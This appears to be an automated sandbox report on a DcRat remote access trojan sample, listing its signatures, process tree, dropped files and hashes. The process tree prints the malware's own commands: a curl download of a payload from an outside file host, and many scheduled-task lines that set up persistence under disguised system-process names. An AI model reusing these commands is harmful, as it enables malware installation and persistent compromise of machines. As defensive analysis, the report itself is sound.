Analysis

  • max time kernel
    77s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-11-2024 06:36

General

  • Target

    3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe

  • Size

    1.2MB

  • MD5

    e5a4be0eb47c462ad72240167b00d6eb

  • SHA1

    09793e20889984c4d8f18385052baa82202afca8

  • SHA256

    3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15

  • SHA512

    6c2445109f25acb7d8fb545b66db590ba2c4bcc0237829ce99f7bf0c4f135e37b1b5b4afba2477b807bf36c529d679479265fec7657f89faf052cf532a2e2bd1

  • SSDEEP

    12288:F0GtwVUTytoIn41c6iHKnkUxCj2AqeMQmwWe0ZQyRWkhuq3nbep3+bKDZhW/lc4q:ptDZcpHKnkuGKFplpC+bKlAtc06z

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Process spawned unexpected child process 18 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 5 IoCs
  • Drops file in Windows directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe
    "C:\Users\Admin\AppData\Local\Temp\3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3936
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
        PID:2552
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/t3twl8.bin --output C:\Windows\Speech\physmeme.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2068
        • C:\Windows\system32\curl.exe
          curl --silent https://files.catbox.moe/t3twl8.bin --output C:\Windows\Speech\physmeme.exe
          3⤵
          • Drops file in Windows directory
          PID:3756
      • C:\Windows\Speech\physmeme.exe
        "C:\Windows\Speech\physmeme.exe"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:1592
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Medal\LziQ5Qlyzu0f0C5NtfHJq0w.vbe"
          3⤵
          • Checks computer location settings
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1320
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Medal\Fua65ZRdZNJ5OJAqSXb7513NtPonCq4dK3Ubpg1B.bat" "
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2992
            • C:\Medal\Medal.exe
              "C:\Medal/Medal.exe"
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Drops file in Windows directory
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:996
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\iXoBDxAMJ2.bat"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:536
                • C:\Windows\system32\chcp.com
                  chcp 65001
                  7⤵
                    PID:4976
                  • C:\Windows\system32\w32tm.exe
                    w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                    7⤵
                      PID:3876
                    • C:\Medal\Medal.exe
                      "C:\Medal\Medal.exe"
                      7⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3016
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec153" /sc MINUTE /mo 7 /tr "'C:\Windows\Installer\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4400
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15" /sc ONLOGON /tr "'C:\Windows\Installer\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:512
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec153" /sc MINUTE /mo 5 /tr "'C:\Windows\Installer\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\3a2f1bf0b03ca3faaa196da40be33a132949957dabdb94f6be65c09dbdf9ec15.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4868
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Internet Explorer\images\System.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1108
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\images\System.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:5008
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Internet Explorer\images\System.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1068
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 13 /tr "'C:\Windows\Globalization\Time Zone\wininit.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1876
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Windows\Globalization\Time Zone\wininit.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4232
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 9 /tr "'C:\Windows\Globalization\Time Zone\wininit.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3688
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Medal\RuntimeBroker.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3216
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Medal\RuntimeBroker.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3908
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Medal\RuntimeBroker.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1412
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 8 /tr "'C:\Program Files\Google\sihost.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2688
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Program Files\Google\sihost.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:208
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 7 /tr "'C:\Program Files\Google\sihost.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3084
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "MedalM" /sc MINUTE /mo 7 /tr "'C:\Medal\Medal.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3124
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "Medal" /sc ONLOGON /tr "'C:\Medal\Medal.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2960
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "MedalM" /sc MINUTE /mo 11 /tr "'C:\Medal\Medal.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4888

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Medal\Fua65ZRdZNJ5OJAqSXb7513NtPonCq4dK3Ubpg1B.bat

          Filesize

          63B

          MD5

          e24619181276af563705f4b1bed29490

          SHA1

          fddac27290319f69543f5330fe97c122a8a01376

          SHA256

          eee937e02edcd36de3ed7658c9ad9d79844502c8553a7c244b2b154aa9ffec05

          SHA512

          1898a5e2a52f2f34466dfd9e1b1149b36052874b6be432dd9301ecfa6bc3a964dca6980b8db54ddcf8ef24a95792efcaffeb09aceb7a04304a0d18f4d0ce0591

        • C:\Medal\LziQ5Qlyzu0f0C5NtfHJq0w.vbe

          Filesize

          224B

          MD5

          96d43070e1e39d421c53a2f8dca13fc6

          SHA1

          07417cccceddbf8d5f5b48dec0b2e08d53a4754f

          SHA256

          0dab986e5c533631946e27cdbb5147e68b9eb3008c1add60d21a59cd7d964314

          SHA512

          9fc0ee5ac42bca7c7ee7584baa5be6907fc750378d037d56e075a21c4fe8eaeb3efac3e9fb6087a70a6ad01dcebf05d2462f2463daa8063b4047c11e5364d398

        • C:\Medal\Medal.exe

          Filesize

          1.8MB

          MD5

          4f66bbfed3a524398bd0267ed974ccbc

          SHA1

          b2567397dc823412d87a23428c7833ff74586b7d

          SHA256

          fa05b7f28eb1df0447998b89a08aa96453b0f3240c31489900d178862eaa80d8

          SHA512

          bc4de61adb5f56c66043a2617ebfcc9f4e82d36e48dbdc9178695f9466d554eb364d69829490ff43100e8cb457ce7e78b2e277a3cf1733edf32c0154e6f56d9f

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Medal.exe.log

          Filesize

          1KB

          MD5

          af6acd95d59de87c04642509c30e81c1

          SHA1

          f9549ae93fdb0a5861a79a08f60aa81c4b32377b

          SHA256

          7521ee2d065a78efcab55a194fbd78492f84b70595f139263875f4ea92b194d6

          SHA512

          93ab99bcf588fde553de3240e0d2b0cbd4e4bc5ef5e99d53f45a267d7ff30103a80b5a7aa1c52d6eff1e070af0ec82d2c0b8aafb7099742aa16810edc1815c3a

        • C:\Users\Admin\AppData\Local\Temp\iXoBDxAMJ2.bat

          Filesize

          194B

          MD5

          dd735aad86d858323af6db008bb7f687

          SHA1

          ffea9c933c891a63b9f2911331b7c791428b2279

          SHA256

          bcaf5f62fc233242d17d2ee21471f84710437810cc6625c374f646552fb0f194

          SHA512

          709ed3fefbc5821922d3bfd4ddbef99aca76cf38b88674a2ec0eacb53067796d442fa492e50ea74470d98da0bb38c41ae2ee71c11664af5d5f780ec7f4fcae5d

        • C:\Windows\Speech\physmeme.exe

          Filesize

          2.1MB

          MD5

          f4620c0afa8e21897509b2e7215097f5

          SHA1

          af216ca6105e271a3fb45a23c10ee7cf3158b7e1

          SHA256

          8daf7dcdf256d7de40d33e5550dc5e8bbf887b8c4b7f49c79a15c96dad867f82

          SHA512

          68b875acc06d9c3796f49377b5b25a5e8b9a380221eea59e4274249ca7d2bff10c3fc5edf50eae5da726afea882e0e777af86af25be7b57c8fbfd70448d8d7dd

        • memory/996-19-0x000000001B100000-0x000000001B11C000-memory.dmp

          Filesize

          112KB

        • memory/996-20-0x000000001B170000-0x000000001B1C0000-memory.dmp

          Filesize

          320KB

        • memory/996-22-0x000000001B120000-0x000000001B138000-memory.dmp

          Filesize

          96KB

        • memory/996-24-0x000000001B0E0000-0x000000001B0EE000-memory.dmp

          Filesize

          56KB

        • memory/996-41-0x000000001BDF0000-0x000000001BF99000-memory.dmp

          Filesize

          1.7MB

        • memory/996-17-0x0000000002760000-0x000000000276E000-memory.dmp

          Filesize

          56KB

        • memory/996-15-0x0000000000400000-0x00000000005DE000-memory.dmp

          Filesize

          1.9MB